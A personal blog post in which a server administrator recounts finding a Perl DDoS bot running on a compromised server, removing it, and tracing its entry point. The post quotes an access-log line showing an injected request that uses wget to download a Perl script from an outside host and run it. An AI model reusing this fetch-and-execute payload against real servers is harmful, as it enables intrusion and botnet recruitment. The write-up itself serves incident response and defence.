This should be a post about how
entertaining the Chicago edition of w00tstock was1
or about Steve Jobs' WWDC Keynote2
or about the Blackhawks winning the Stanley Cup3
or any number of other things. Instead this post it about cleaning up
after some script kiddie who decided to try to use a server that does
not belong to them for their own personal use.
See, on Monday last, I discovered, after an automated notice of high computing load, a process identifying itself as "/usr/sbin/apache/log" which had been running for some 30+ hours. Obviously, no Apache log rotation should take that long. Moreover, the log rotation program commonly found with the Apache Web Server is known as rotatelog. A quick directory listing confirmed that no such program or directory existed at "/usr/sbin/apache/log"
A Google search for that path resulted in a number of pages warning of a possible system compromise and suggested a review of files in the "/var/tmp" and "/tmp" directories for anything weird.
Alas, anything weird is a bit vague and considering that both temporary directories are common placeholders for random files of any number of system users or programs it took me a few passes to realize that in this case that "anything weird" would be any thing executable since any proper executable would reside elsewhere on a Unix-based filesystem.
An extended listing of contents resulted in the the identification of the culprit, a Perl script called, pxconfig residing in the root tmp directory.
Luckily no evidence indicated a greater incursion, such as a rootkit being installed, thus disabling the script was a simple matter of using root's superuser status to kill the process and remove the privileges of script file from executing.
Another Google search, using some of the script's code, resulted in the discovery of an analysis of a similar Perlbot, the main difference being that the script I had discovered looked to have been modified with the sole purpose of working in coordination with other compromised systems for overloading a server with resource requests (DDoS) and seemed to contain no code to propagate itself.
So after disabling the offending script, I set about trying to discover how it managed to get itself installed in the first place. This blog posting suggested a possible point of entry and indeed after trying a couple of different search patterns on the Apache access logs I located the point of entry:
access_log.5.gz:80.37.xxx.xx - - [01/Jun/2009:00:01:54 -0500] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
wget%20http://81.56.xxx.xxx/d.pl;perl%20d.pl;echo%20YYY;echo| HTTP/1.1" 200 434 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Notice in the GET request a GIF file being uploaded and a series of shell commands. Well the GIF file
is no doubt corrupt, designed to take advantage of any number of
known security vulnerabilities with the GD library
resulting in a buffer overflow that in turn allows the arbitrary
execution of the commands. Those commands change access to the "/tmp"
directory, use wget to download a perl file and then execute
said perl file. That file no doubt downloads yet another script name
pxconfig, executes that second script and removes itself.
Moral of the story? Keep the system up-to-date, restrict all points where files can be uploaded, keep a close eye on what's running and Google is your friend.
Damn kids these days!
2 Yes, I still plan on upgrading my iPhone from a "3G" to the new "4", no I'm not surprised Apple has renamed their mobile OS.